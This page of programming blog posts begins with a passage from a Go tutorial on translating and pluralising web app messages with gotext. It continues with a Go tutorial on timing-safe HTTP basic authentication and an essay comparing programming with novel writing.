handlers.go │ └── main.go ├── go.mod ├── go.sum └── internal └── translations ├── catalog.go ├── locales │ ├── de-DE │ │ └── out.gotext.json │ ├── en-GB │ │ └── out.gotext.json │ └── fr-CH │ └── out.gotext.json └── translations.go We can see that the go generate command has automatically generated an internal/translations/catalog.go file for us (which we'll look at in a minute), and a locales folder containing out.gotext.json files for each of our target languages. Let's take a look at the internal/translations/locales/de-DE/out.gotext.json file: File: internal/translations/locales/de-DE/out.gotext.json { "language": "de-DE", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "" } ] } In this JSON file, the relevant BCP 47 language tag is defined at the top of the file, followed by a JSON array of the messages which require translation. The message value is the text for translation in the source language, and the (currently empty) translation value is where we should enter appropriate German translation. It's important to emphasize that you don't edit this file in place. Instead, the workflow for adding a translation goes like this: You generate the out.gotext.json files containing the messages which need to be translated (which we've just done). You send these files to a translator, who edits the JSON to include the necessary translations. They then send the updated files back to you. You then save these updated files with the name messages.gotext.json in the folder for the appropriate language. For demonstration purposes, let's quickly simulate this workflow by copying the out.gotext.json files to messages.gotext.json files, and updating them to include the translated messages like so: $ cp internal/translations/locales/de-DE/out.gotext.json internal/translations/locales/de-DE/messages.gotext.json $ cp internal/translations/locales/fr-CH/out.gotext.json internal/translations/locales/fr-CH/messages.gotext.json File: internal/translations/locales/de-DE/messages.gotext.json { "language": "de-DE", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Willkommen!" } ] } File: internal/translations/locales/fr-CH/messages.gotext.json { "language": "fr-CH", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Bienvenu !" } ] } If you like, you can also take a look at the out.gotext.json file for our en-GB source language. You'll see that the translation value for the message has been auto-filled for us. File: internal/translations/locales/en-GB/messages.gotext.json { "language": "en-GB", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Welcome!", "translatorComment": "Copied from source.", "fuzzy": true } ] } The next step is to run our go generate command again. This time, it should execute without any warning messages about missing translations. $ go generate ./internal/translations/translations.go Now it's a good time to take a look at the internal/translations/catalog.go file, which is automatically generated for us by the gotext update command. This file contains a message catalog, which is — very roughly speaking — a mapping of messages and their relevant translations for each target language. Let's take a quick look inside the file: File: internal/translations/catalog.go // Code generated by running "go generate" in golang.org/x/text. DO NOT EDIT. package translations import ( "golang.org/x/text/language" "golang.org/x/text/message" "golang.org/x/text/message/catalog" ) type dictionary struct { index []uint32 data string } func (d *dictionary) Lookup(key string) (data string, ok bool) { p, ok := messageKeyToIndex[key] if !ok { return "", false } start, end := d.index[p], d.index[p+1] if start == end { return "", false } return d.data[start:end], true } func init() { dict := map[string]catalog.Dictionary{ "de_DE": &dictionary{index: de_DEIndex, data: de_DEData}, "en_GB": &dictionary{index: en_GBIndex, data: en_GBData}, "fr_CH": &dictionary{index: fr_CHIndex, data: fr_CHData}, } fallback := language.MustParse("en-GB") cat, err := catalog.NewFromMap(dict, catalog.Fallback(fallback)) if err != nil { panic(err) } message.DefaultCatalog = cat } var messageKeyToIndex = map[string]int{ "Welcome!\n": 0, } var de_DEIndex = []uint32{ // 2 elements 0x00000000, 0x00000011, } // Size: 32 bytes const de_DEData string = "\x04\x00\x01\n\f\x02Willkommen!" var en_GBIndex = []uint32{ // 2 elements 0x00000000, 0x0000000e, } // Size: 32 bytes const en_GBData string = "\x04\x00\x01\n\t\x02Welcome!" var fr_CHIndex = []uint32{ // 2 elements 0x00000000, 0x00000010, } // Size: 32 bytes const fr_CHData string = "\x04\x00\x01\n\v\x02Bienvenu !" // Total table size 143 bytes (0KiB); checksum: 385F6E56 I don't want to dwell on the details here, because it's OK for use to treat this file as something of a 'black box', and — as warned by the comment at the top of the file — we shouldn't make any changes to it directly. But the most important thing to point out is that this file contains an init() function which, when called, initializes a new message catalog containing all our translations and mappings. It then sets this as the default message catalog by assigning it to the message.DefaultCatalog global variable. When we call one of the message.Printer functions, the printer will lookup the relevant translation from the default message catalog for printing. This is really nice, because it means that all our translations are stored in memory at runtime, and any lookups are very fast and efficient. So, if we take a step back for a moment, we can see that the gotext update command that we're using with go generate actually does two things. One — it walks the code in our cmd/www application and extracts the necessary strings for translation into the out.gotext.json files; and two — it also parses any messages.gotext.json files (if present) and updates the message catalog accordingly. The final step in getting this working is to import the internal/translations package in our cmd/www/handlers.go file. This will ensure that the init() function in internal/translations/translations.go is called, and the default message catalog is updated to be the one containing our translations. Because we won't actually be referencing anything in the internal/translations package directly, we'll need to alias the import path to the blank identifer _ to prevent the Go compiler from complaining. Go ahead and do that now: File: cmd/www/handlers.go package main import ( "net/http" // Import the internal/translations package, so that its init() // function is called. _ "bookstore.example.com/internal/translations" "golang.org/x/text/language" "golang.org/x/text/message" ) func handleHome(w http.ResponseWriter, r *http.Request) { locale := r.URL.Query().Get(":locale") var lang language.Tag switch locale { case "en-gb": lang = language.MustParse("en-GB") case "de-de": lang = language.MustParse("de-DE") case "fr-ch": lang = language.MustParse("fr-CH") default: http.NotFound(w, r) return } p := message.NewPrinter(lang) p.Fprintf(w, "Welcome!\n") } Alright, let's try this out! When your restart the application and try making some requests, you should now see the "Welcome!" message translated into the appropriate language. $ curl localhost:4018/en-GB Welcome! $ curl localhost:4018/de-de Willkommen! $ curl localhost:4018/fr-ch Bienvenu ! Using variables in translations Now that we've got the basic translations working in our application, let's move on to something a bit more advanced and look at how to manage translations with interpolated variables in them. To demonstrate, we'll update the HTTP response from our handleHome() function to include a "{N} books available" line, where {N} is an integer containing the number of books in our imaginary bookstore. File: cmd/www/handlers.go package main ... func handleHome(w http.ResponseWriter, r *http.Request) { locale := r.URL.Query().Get(":locale") var lang language.Tag switch locale { case "en-gb": lang = language.MustParse("en-GB") case "de-de": lang = language.MustParse("de-DE") case "fr-ch": lang = language.MustParse("fr-CH") default: http.NotFound(w, r) return } // Define a variable to hold the number of books. In a real application // this would probably be retrieved by making a database query or // something similar. var totalBookCount = 1_252_794 p := message.NewPrinter(lang) p.Fprintf(w, "Welcome!\n") // Use the Fprintf() function to include the new message in the HTTP // response, with the book count as in interpolated integer value. p.Fprintf(w, "%d books available\n", totalBookCount) } Save the changes, then use go generate to output some new out.gotext.json files. You should see warning messages for the new missing translations like so: $ go generate ./internal/translations/translations.go de-DE: Missing entry for "{TotalBookCount} books available". fr-CH: Missing entry for "{TotalBookCount} books available". Let's take a look at the de-DE/out.gotext.json file: File: internal/translations/locales/de-DE/out.gotext.json { "language": "de-DE", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Willkommen!" }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": "", "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } The first thing to point out here is that the translation for our "Welcome!" message has been persisted across the workflow and is already present in the out.gotext.json file. This is obviously really important, because it means that when we send the file to the translator they won't need to provide the translation again. The second thing is that there is now an entry for our new message. We can see that this has the form "{TotalBookCount} books available", with the (capitalized) variable name from our Go code being used as the placeholder parameter. You should keep this in mind when writing your code, and try to use sensible and descriptive variable names that will make sense to your translators. The placeholders array also provides additional information about each placeholder value, the most useful part probably being the type value (which in this case tells the translator that the TotalBookCount value is an integer). So the next step is to send these new out.gotext.json files off to a translator for translation. Again, we'll simulate that here by copying them to messages.gotext.json files and adding the translations like so: $ cp internal/translations/locales/de-DE/out.gotext.json internal/translations/locales/de-DE/messages.gotext.json $ cp internal/translations/locales/fr-CH/out.gotext.json internal/translations/locales/fr-CH/messages.gotext.json File: internal/translations/locales/de-DE/messages.gotext.json { "language": "de-DE", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Willkommen!" }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": "{TotalBookCount} Bücher erhältlich", "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } File: internal/translations/locales/fr-CH/messages.gotext.json { "language": "fr-CH", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Bienvenu !" }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": "{TotalBookCount} livres disponibles", "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } Make sure that both messages.gotext.json files are saved, and then run go generate to update our message catalog. This should run without any warnings. $ go generate ./internal/translations/translations.go When you restart the cmd/www application and make some HTTP requests again, you should now see the new translated messages like so: $ curl localhost:4018/en-GB Welcome! 1,252,794 books available $ curl localhost:4018/de-de Willkommen! 1.252.794 Bücher erhältlich $ curl localhost:4018/fr-ch Bienvenu ! 1 252 794 livres disponibles Now this is really cool. As we'll as the translations being applied by our message.Printer, it's also smart enough to output the interpolated integer value with the correct number formatting for each language. We can see here that our en-GB locale uses the "," character as a thousands separator, whereas de-DE uses "." and fr-CH uses the whitespace " ". A similar thing is done for decimal separators too. Dealing with pluralization's This is working nicely, but what happens if there is only 1 book available in our bookstore? Let's update the handleHome() function so that the totalBookCount value is 1: File: cmd/www/handlers.go package main ... func handleHome(w http.ResponseWriter, r *http.Request) { locale := r.URL.Query().Get(":locale") var lang language.Tag switch locale { case "en-gb": lang = language.MustParse("en-GB") case "de-de": lang = language.MustParse("de-DE") case "fr-ch": lang = language.MustParse("fr-CH") default: http.NotFound(w, r) return } // Set the total book count to 1. var totalBookCount = 1 p := message.NewPrinter(lang) p.Fprintf(w, "Welcome!\n") p.Fprintf(w, "%d books available\n", totalBookCount) } (I know this is a bit of a tenuous example, but it helps illustrate Go's pluralization functionality without much extra code, so bear with me!) You can probably imagine what happens when we restart the application and make a request to localhost:4018/en-gb now. $ curl localhost:4018/en-gb Welcome! 1 books available That's right, we see the message "1 books available", which isn't correct English because of the plural noun books. It would be better if this message read 1 book available or — even better — One book available instead. Happily, it's possible for us to specify alternative translations based on the value of an interpolated variable in our messages.gotext.json files. Let's start by demonstrating this for our en-GB locale. If you're following along, copy the en-GB/out.gotext.json file to en-GB/messages.gotext.json: $ cp internal/translations/locales/en-GB/out.gotext.json internal/translations/locales/en-GB/messages.gotext.json And then update it like so: File: internal/translations/locales/en-GB/messages.gotext.json { "language": "en-GB", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Welcome!", "translatorComment": "Copied from source.", "fuzzy": true }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": { "select": { "feature": "plural", "arg": "TotalBookCount", "cases": { "=1": { "msg": "One book available" }, "other": { "msg": "{TotalBookCount} books available" } } } }, "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } Now, rather than the translation value being a simple string we have set it to a JSON object that instructs the message catalog to use different translations depending on the value of the TotalBookCount placeholder. The key part here is the cases value, which contains the translations to use for different values of the placeholder. The supported case rules are: Case Description "=x" Where x is an integer that equals the value of the placeholder " Where x is an integer that is larger than the value of the placeholder "other" All other cases (a bit like default in a Go switch statement) Note: If you look at the documentation for the golang.org/x/text/feature/plural package (which is what gotext uses behind the scenes when generating the message catalog), you'll see that it also mentions the case rules "zero", "one", "two", "few", and "many". However, these rules aren't supported for all possible target languages, and you may get an error like gotext: generation failed: error: plural: form "many" not supported for language "de-DE" if you try to use them. It seems to be safer to stick with the three case rules in the table above. Additionally, it's important to be aware that the range of allowed values for x in the "=x" and " case rules is 0 to 32767. Trying to use something outside of that range will result in an error. There's an open issue about these behaviors here. Let's complete work this by updating the messages.gotext.json files for our de-DE and fr-CH languages to include the appropriate pluralized variations, like so: File: internal/translations/locales/de-DE/messages.gotext.json { "language": "de-DE", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Willkommen!" }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": { "select": { "feature": "plural", "arg": "TotalBookCount", "cases": { "=1": { "msg": "Ein Buch erhältlich" }, "other": { "msg": "{TotalBookCount} Bücher erhältlich" } } } }, "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } File: internal/translations/locales/fr-CH/messages.gotext.json { "language": "fr-CH", "messages": [ { "id": "Welcome!", "message": "Welcome!", "translation": "Bienvenu !" }, { "id": "{TotalBookCount} books available", "message": "{TotalBookCount} books available", "translation": { "select": { "feature": "plural", "arg": "TotalBookCount", "cases": { "=1": { "msg": "Un livre disponible" }, "other": { "msg": "{TotalBookCount} livres disponibles" } } } }, "placeholders": [ { "id": "TotalBookCount", "string": "%[1]d", "type": "int", "underlyingType": "int", "argNum": 1, "expr": "totalBookCount" } ] } ] } Once those files are saved, use go generate again to update the message catalog: $ go generate ./internal/translations/translations.go And if you restart the web application and make some HTTP requests, you should now see the appropriate message for 1 book: $ curl localhost:4018/en-GB Welcome! One book available $ curl localhost:4018/de-de Willkommen! Ein Buch erhältlich $ curl localhost:4018/fr-ch Bienvenu ! Un livre disponible If you like, you can revert the totalBookCount variable back to a larger number... File: cmd/www/handlers.go package main ... func handleHome(w http.ResponseWriter, r *http.Request) { ... // Revert the total book count. var totalBookCount = 1_252_794 p := message.NewPrinter(lang) p.Fprintf(w, "Welcome!\n") p.Fprintf(w, "%d books available\n", totalBookCount) } And when you restart the application and make another request, you should see the "other" version of our message: $ curl localhost:4018/de-de Willkommen! 1.252.794 Bücher erhältlich Creating a localizer abstraction In the final part of this article we're going to create a new internal/localizer package which abstracts all our code for dealing with languages, printers and translations. If you're following along, go ahead and create a new internal/localizer directory containing a localizer.go file. $ mkdir -p internal/localizer $ touch internal/localizer/localizer.go At this point, your project structure should look like this: . ├── cmd │ └── www │ ├── handlers.go │ └── main.go ├── go.mod ├── go.sum └── internal ├── localizer │ └── localizer.go └── translations ├── catalog.go ├── locales │ ├── de-DE │ │ ├── messages.gotext.json │ │ └── out.gotext.json │ ├── en-GB │ │ ├── messages.gotext.json │ │ └── out.gotext.json │ └── fr-CH │ ├── messages.gotext.json │ └── out.gotext.json └── translations.go And then add the following code to the new localizer.go file: File: internal/localizer/localizer.go package localizer import ( // Import the internal/translations so that it's init() function // is run. It's really important that we do this here so that the // default message catalog is updated to use our translations // *before* we initialize the message.Printer instances below. _ "bookstore.example.com/internal/translations" "golang.org/x/text/language" "golang.org/x/text/message" ) // Define a Localizer type which stores the relevant locale ID (as used // in our URLs) and a (deliberately unexported) message.Printer instance // for the locale. type Localizer struct { ID string printer *message.Printer } // Initialize a slice which holds the initialized Localizer types for // each of our supported locales. var locales = []Localizer{ { // Germany ID: "de-de", printer: message.NewPrinter(language.MustParse("de-DE")), }, { // Switzerland (French speaking) ID: "fr-ch", printer: message.NewPrinter(language.MustParse("fr-CH")), }, { // United Kingdom ID: "en-gb", printer: message.NewPrinter(language.MustParse("en-GB")), }, } // The Get() function accepts a locale ID and returns the corresponding // Localizer for that locale. If the locale ID is not supported then // this returns `false` as the second return value. func Get(id string) (Localizer, bool) { for _, locale := range locales { if id == locale.ID { return locale, true } } return Localizer{}, false } // We also add a Translate() method to the Localizer type. This acts // as a wrapper around the unexported message.Printer's Sprintf() // function and returns the appropriate translation for the given // message and arguments. func (l Localizer) Translate(key message.Reference, args ...interface{}) string { return l.printer.Sprintf(key, args...) } Note: Notice here that we're initializing a single message.Printer for each locale at startup, and these will be used concurrently by our web application handlers. Although the golang.org/x/text/message documentation doesn't say that message.Printer is safe for concurrent use, I checked with Marcel van Lohuizen (the lead developer of the golang.org/x/text packages) and he confirmed that message.Printer is intended to be used concurrently and is concurrency safe (so long as access to any write destination is synchronized). Next let's update the cmd/www/handlers.go file to use our new Localizer type, and — while we're at it — let's also make our handleHome() function render an additional "Launching soon!" message. File: cmd/www/handlers.go package main import ( "fmt" // New import "net/http" "bookstore.example.com/internal/localizer" // New import ) func handleHome(w http.ResponseWriter, r *http.Request) { // Initialize a new Localizer based on the locale ID in the URL. l, ok := localizer.Get(r.URL.Query().Get(":locale")) if !ok { http.NotFound(w, r) return } var totalBookCount = 1_252_794 // Update these to use the new Translate() method. fmt.Fprintln(w, l.Translate("Welcome!")) fmt.Fprintln(w, l.Translate("%d books available", totalBookCount)) // Add an additional "Launching soon!" message. fmt.Fprintln(w, l.Translate("Launching soon!")) } It's worth pointing out that our use of the Translate() method here isn't just some syntactic sugar. You might remember earlier that I wrote the following warning: It's critical to note when gotext walks your code it actually only looks for calls to message.Printer.Printf(), Fprintf() and Sprintf() — basically the three methods that end with an f. It ignores all other methods such as Sprint() or Println(). By having all our translations go through the Translate() method — which uses Sprintf() behind-the-scenes — we avoid the scenario where you accidentally use a method like Sprint() or Println() and gotext doesn't extract the message to the out.gotext.json files. Let's try this out and run go generate again: $ go generate ./internal/translations/translations.go de-DE: Missing entry for "Launching soon!". fr-CH: Missing entry for "Launching soon!". So this is really smart. We can see that gotext has been clever enough to walk our entire codebase and identify what strings need to be translated, even when we abstract the message.Printer.Sprintf() call to a helper function in a different package. This is awesome, and one of the things that I really appreciate about the gotext tool. If you're following along, please go ahead and copy the out.gotext.json files to message.gotext.json files, and add the necessary translations for the new "Launching soon!" message. Then remember to run go generate again and restart the web application. When you make some HTTP requests again now, your responses should look similar to this: $ curl localhost:4018/en-gb Welcome! 1,252,794 books available Launching soon! $ curl localhost:4018/de-de Willkommen! 1.252.794 Bücher erhältlich Bald verfügbar! $ curl localhost:4018/fr-ch Bienvenu ! 1 252 794 livres disponibles Bientôt disponible ! Additional information Conflicting routes At this start of this post I'd deliberately didn't recommending using httprouter, despite it being an excellent and popular router. This is because using a dynamic locale as the first part of a URL path is likely to result in conflicts with other application routes which don't require a locale prefix, like /static/css/main.css or /admin/login. The httprouter package doesn't allow conflicting routes, which makes using it awkward in this scenario. If you do want to use httprouter, or want to avoid conflicting routes in your application, you could pass the locale as a query string parameter instead like /category/travel?locale=gb.

• How to correctly use Basic Authentication in Go
  Alex Edwards · Jun 21, 2021

  When searching for examples of HTTP basic authentication with Go, every result I found unfortunately contained code which was either out-of-date (i.e. doesn't use the r.BasicAuth() functionality that was introduced in Go 1.4) or failed to mitigate the risk of timing attacks. So in this post, I'd like to discuss how to use it correctly in your Go applications. We'll start with a bit of background information, but if you're not interested in that you can skip straight to the code. What is basic authentication? When should I use it? As a developer, you're probably already familiar with the prompt that web browsers show when you visit a URL that is protected with basic authentication. When you input a username and password into this prompt, the web browser will send a HTTP request to the server containing an Authorization header — similar to this: Authorization: Basic YWxpY2U6cGE1NXdvcmQ= The Authorization header value is made up of the string Basic followed by the username and password in the format username:password and base-64 encoded. In this specific example, YWxpY2U6cGE1NXdvcmQ= is the base-64 encoding of the value alice:pa55word. When the server receives this request, it can decode the username and password from the Authorization header and check that they are valid. If the credentials are not valid, the server can return a 401 Unauthorized response and the browser can redisplay the prompt. Basic authentication can be used in lots of different scenarios, but it's often a good fit for when you have a low-value resource and want a quick and easy way to protect it from prying eyes. To help keep things secure you should: Only ever use it over HTTPS connections. If you don't use HTTPS, the Authorization header can potentially be intercepted and decoded by an attacker, who can then use the username and password to gain access to your protected resources. Use a strong password that is difficult for attackers to guess or brute-force. Consider adding rate limiting to your application, to make it harder for an attacker to brute-force the credentials. On the client side, basic auth is supported out-of-the-box by most programming languages and command-line tools such as curl and wget, as well as web browsers. Protecting a web application Probably the simplest way to use basic authentication in your application is to create some middleware. In this middleware we want to do two things: Extract the provided username and password from the request Authorization header, if it exists. The best way to do this is with the r.BasicAuth() method. Compare the provided username and password against the values that you expect. If the username and password are not correct, or the request didn't contain a valid Authorization header, then the middleware should send a 401 Unauthorized response and set a WWW-Authenticate header to inform the client that basic authentication should be used to gain access. Otherwise, the middleware should allow the request to proceed and call the next handler in the chain. When comparing the provided username and password against the expected values, to eliminate the risk of a timing attack you should use Go's subtle.ConstantTimeCompare() function instead of the == operator. Note: In Go (like most languages) the normal == comparison operator will return as soon as it finds a difference between two strings. So if the first character is different, it will return after just looking at one character. In theory, this opens the opportunity for a timing attack where an attacker could make lots of requests to your application, and look at discrepancies in the average response time. The time it takes for them receive a 401 Unauthorized response effectively tells them how many characters they got right. With enough requests, they could build up a picture of the complete username and password. Realistically though, string comparison is so fast that network jitter will obscure any differences in timing, meaning that it is probably impossible to pull off this attack successfully. But... there is some evidence that remote timing attacks are feasible, and given that we can quite easily eliminate this risk completely by using subtle.ConstantTimeCompare(), I think it makes sense to do so. It's also important to be aware that using subtle.ConstantTimeCompare() can leak information about username and password length. To prevent this, we should hash both the provided and expected username and password values using a fast cryptographic hash function like SHA-256 before comparing them. This ensures that both the provided and expected values that we are comparing are equal in length and prevents subtle.ConstantTimeCompare() itself from returning early. Putting that together, the pattern for implementing some middleware looks like this: func basicAuth(next http.HandlerFunc) http.HandlerFunc { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { // Extract the username and password from the request // Authorization header. If no Authorization header is present // or the header value is invalid, then the 'ok' return value // will be false. username, password, ok := r.BasicAuth() if ok { // Calculate SHA-256 hashes for the provided and expected // usernames and passwords. usernameHash := sha256.Sum256([]byte(username)) passwordHash := sha256.Sum256([]byte(password)) expectedUsernameHash := sha256.Sum256([]byte("your expected username")) expectedPasswordHash := sha256.Sum256([]byte("your expected password")) // Use the subtle.ConstantTimeCompare() function to check if // the provided username and password hashes equal the // expected username and password hashes. ConstantTimeCompare // will return 1 if the values are equal, or 0 otherwise. // Importantly, we should do the work to evaluate both the // username and password before checking the return values to // avoid leaking information. usernameMatch := (subtle.ConstantTimeCompare(usernameHash[:], expectedUsernameHash[:]) == 1) passwordMatch := (subtle.ConstantTimeCompare(passwordHash[:], expectedPasswordHash[:]) == 1) // If the username and password are correct, then call // the next handler in the chain. Make sure to return // afterwards, so that none of the code below is run. if usernameMatch && passwordMatch { next.ServeHTTP(w, r) return } } // If the Authentication header is not present, is invalid, or the // username or password is wrong, then set a WWW-Authenticate // header to inform the client that we expect them to use basic // authentication and send a 401 Unauthorized response. w.Header().Set("WWW-Authenticate", `Basic realm="restricted", charset="UTF-8"`) http.Error(w, "Unauthorized", http.StatusUnauthorized) }) } Important: If you're looking at the code above and thinking "I thought you should never use SHA-256 for hashing passwords...", it's important to emphasize that the username and password are not being hashed for the purpose of storage, they are only being hashed in order to get two equal-length byte slices that can be compared in constant-time. Low collision risk is the important thing here, and a hash like SHA-256 is a good fit for this purpose. You might also be wondering what the realm value is and why we are setting it to "restricted" in the WWW-Authenticate response header. Basically, the realm value is a string which allows you to create partitions of protected space in your application. So, for example, an application could have a "documents" realm and an "admin area" realm, which require different credentials. A web browser (or other type of client) can cache and automatically reuse the same username and password for any requests within the same realm, so that the prompt doesn't need to be shown for every single request. If you don't require multiple partitions for your application, you can set the realm to a single hardcoded value like "restricted", like we have in the code above. For the sake of security and/or flexibility, you may also prefer to store the expected username and password values in environment variables or pass them as command-line flag values when starting the application, rather than hard-coding them into your application. A working example Let's take a quick look at this in the context of a small — but fully functioning — web application. If you'd like to follow along, create a new basic-auth-example directory on your computer, add a main.go file, initialize a module, and create a pair of locally-trusted TLS certificates using the mkcert tool. Like so: $ mkdir basic-auth-example $ cd basic-auth-example $ touch main.go $ go mod init example.com/basic-auth-example go: creating new go.mod: module example.com/basic-auth-example $ mkcert localhost Created a new certificate valid for the following names 📜 - "localhost" The certificate is at "./localhost.pem" and the key at "./localhost-key.pem" ✅ It will expire on 21 September 2023 🗓 $ ls go.mod localhost-key.pem localhost.pem main.go Then add the following code to the main.go file, so that the application reads the expected username and password from environment variables and uses the middleware pattern that we described above. package main import ( "crypto/sha256" "crypto/subtle" "fmt" "log" "net/http" "os" "time" ) type application struct { auth struct { username string password string } } func main() { app := new(application) app.auth.username = os.Getenv("AUTH_USERNAME") app.auth.password = os.Getenv("AUTH_PASSWORD") if app.auth.username == "" { log.Fatal("basic auth username must be provided") } if app.auth.password == "" { log.Fatal("basic auth password must be provided") } mux := http.NewServeMux() mux.HandleFunc("GET /unprotected", app.unprotectedHandler) mux.HandleFunc("GET /protected", app.basicAuth(app.protectedHandler)) srv := &http.Server{ Addr: ":4000", Handler: mux, IdleTimeout: time.Minute, ReadTimeout: 10 * time.Second, WriteTimeout: 30 * time.Second, } log.Printf("starting server on %s", srv.Addr) err := srv.ListenAndServeTLS("./localhost.pem", "./localhost-key.pem") log.Fatal(err) } func (app *application) protectedHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "This is the protected handler") } func (app *application) unprotectedHandler(w http.ResponseWriter, r *http.Request) { fmt.Fprintln(w, "This is the unprotected handler") } func (app *application) basicAuth(next http.HandlerFunc) http.HandlerFunc { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { username, password, ok := r.BasicAuth() if ok { usernameHash := sha256.Sum256([]byte(username)) passwordHash := sha256.Sum256([]byte(password)) expectedUsernameHash := sha256.Sum256([]byte(app.auth.username)) expectedPasswordHash := sha256.Sum256([]byte(app.auth.password)) usernameMatch := (subtle.ConstantTimeCompare(usernameHash[:], expectedUsernameHash[:]) == 1) passwordMatch := (subtle.ConstantTimeCompare(passwordHash[:], expectedPasswordHash[:]) == 1) if usernameMatch && passwordMatch { next.ServeHTTP(w, r) return } } w.Header().Set("WWW-Authenticate", `Basic realm="restricted", charset="UTF-8"`) http.Error(w, "Unauthorized", http.StatusUnauthorized) }) } You should then be able to start the application, using a pair of temporary AUTH_USERNAME and AUTH_PASSWORD environment variables. Like so: $ AUTH_USERNAME=alice AUTH_PASSWORD=p8fnxeqj5a7zbrqp go run . 2021/06/20 16:09:21 starting server on :4000 At this point, if you open your web browser and visit https://localhost:4000/protected you should be greeted by the basic authentication prompt. Alternatively, you can make some requests using curl to verify that the authentication checks are working correctly. $ curl -i https://localhost:4000/unprotected HTTP/2 200 content-type: text/plain; charset=utf-8 content-length: 32 date: Sun, 20 Jun 2021 14:09:56 GMT This is the unprotected handler $ curl -i https://localhost:4000/protected HTTP/2 401 content-type: text/plain; charset=utf-8 www-authenticate: Basic realm="restricted", charset="UTF-8" x-content-type-options: nosniff content-length: 13 date: Sun, 20 Jun 2021 14:09:59 GMT Unauthorized $ curl -i -u alice:p8fnxeqj5a7zbrqp https://localhost:4000/protected HTTP/2 200 content-type: text/plain; charset=utf-8 content-length: 30 date: Sun, 20 Jun 2021 14:10:14 GMT This is the protected handler $ curl -i -u alice:wrongPa55word https://localhost:4000/protected HTTP/2 401 content-type: text/plain; charset=utf-8 www-authenticate: Basic realm="restricted", charset="UTF-8" x-content-type-options: nosniff content-length: 13 date: Sun, 20 Jun 2021 14:15:30 GMT Unauthorized Making a request to a protected resource Finally, if you need to access a protected resource from your Go code as a client, all you need to do is call the r.SetBasicAuth() method on your request before executing it. Like so: package main import ( "fmt" "io" "log" "net/http" "time" ) func main() { client := http.Client{Timeout: 5 * time.Second} req, err := http.NewRequest(http.MethodGet, "https://localhost:4000/protected", http.NoBody) if err != nil { log.Fatal(err) } req.SetBasicAuth("alice", "p8fnxeqj5a7zbrqp") res, err := client.Do(req) if err != nil { log.Fatal(err) } defer res.Body.Close() resBody, err := io.ReadAll(res.Body) if err != nil { log.Fatal(err) } fmt.Printf("Status: %d\n", res.StatusCode) fmt.Printf("Body: %s\n", string(resBody)) }

• Programming and Writing
  Antirez · May 14, 2021

  One year ago I paused my programming life and started writing a novel, with the illusion that my new activity was deeply different than the previous one. A river of words later, written but more often rewritten, I’m pretty sure of the contrary: programming big systems and writing novels have many common traits and similar processes. The most obvious parallel between the two activities is that in both of them you write something. Code is not prose written in a natural language, yet it has a set of fixed rules (a grammar), certain forms that most programmers will understand as natural and others that, while formally correct, will sound hard to grasp. There is, however, a much deeper connection between the two activities: a good program and a good novel are both the sum of local and global elements that work well. Good code must be composed of well written and readable single statements, but overall the different parts of the program must be orthogonal, designed in a coherent way, and have clean interactions. A good novel must also succeed in the same two scales of the micro and the macro. Sentences must be well written, but the overall structure and relationship between the parts is also crucial. A less structural link between programming and writing is in the drive you need when approaching one or the other: to succeed you need to make progresses, and to make progresses you have to be consistent. There is extensive agreement on the fact that programs and novels don’t write themselves, yet. Twenty years of writing code helped me immensely with this aspect; I knew that things happen only if you sit every day and write: one day one hundred words, the other day two thousands, but rare is the day I don’t put words on the page. And if you have written code that is not just a “filler” for a bigger system, but a creation of your own, you know that writer block also happens in programming. The only difference is that for most people you are an engineer, hence, if you don’t work, you are lazy. The same laziness, in the case of an artist, will assume the shape of a fascinating part of the creative process. The differences. I believe the most sharp difference between writing and programming is that, once written, edited and finalized, a novel remains immutable, mostly. There are several cases of writers returning on their novels after several years, publishing a bug fixed version of it, but this is rare and, even when happens, a one-shot process. Code evolves over time, is targeted by an endless stream of changes, often performed by multiple people. This simple fact has profound effects on the two processes: programmers often believe that the first version of a system can be quite imperfect; after all there will be time to make improvements. On the other hand writers know they have a single bullet for every novel, to the point that writing prose is mostly the act of rewriting. Rewriting sentences, whole chapters, dialogues that sound fake, sometimes two, three, or even ten times. I believe programming, in this regard, can learn something from writing: when writing the first core of a new system, when the original creator is still alone, isolated, able to do anything, she should pretend that this first core is her only bullet. During the genesis of the system she should rewrite this primitive kernel again and again, in order to find the best possible design. My hypothesis is that this initial design will greatly inform what will happen later: growing organically something that has a good initial structure will result in a better system, even after years of distance from the original creation, and even if the original core was just a tiny faction of the future mass the system would eventually assume. In case you are interested, a quick update about my sci-fi novel. After many self-reviews I sent the manuscript to my editor, Giulio Mozzi. He will send me the change proposals in a few weeks. I’ll start a new review process informed by his notes, and hopefully finalize the novel in one or two months. Then, finally, I’ll be ready to publish the Italian version. A the same time the finalized novel will be sent to my translator, in the US, and when she ends the translation the English version will be published as well. It’s a long journey, but one that I deeply enjoyed taking. Comments

• A few bytes here, a few there, pretty soon you’re talking real memory
  Dave Cheney · Jan 05, 2021

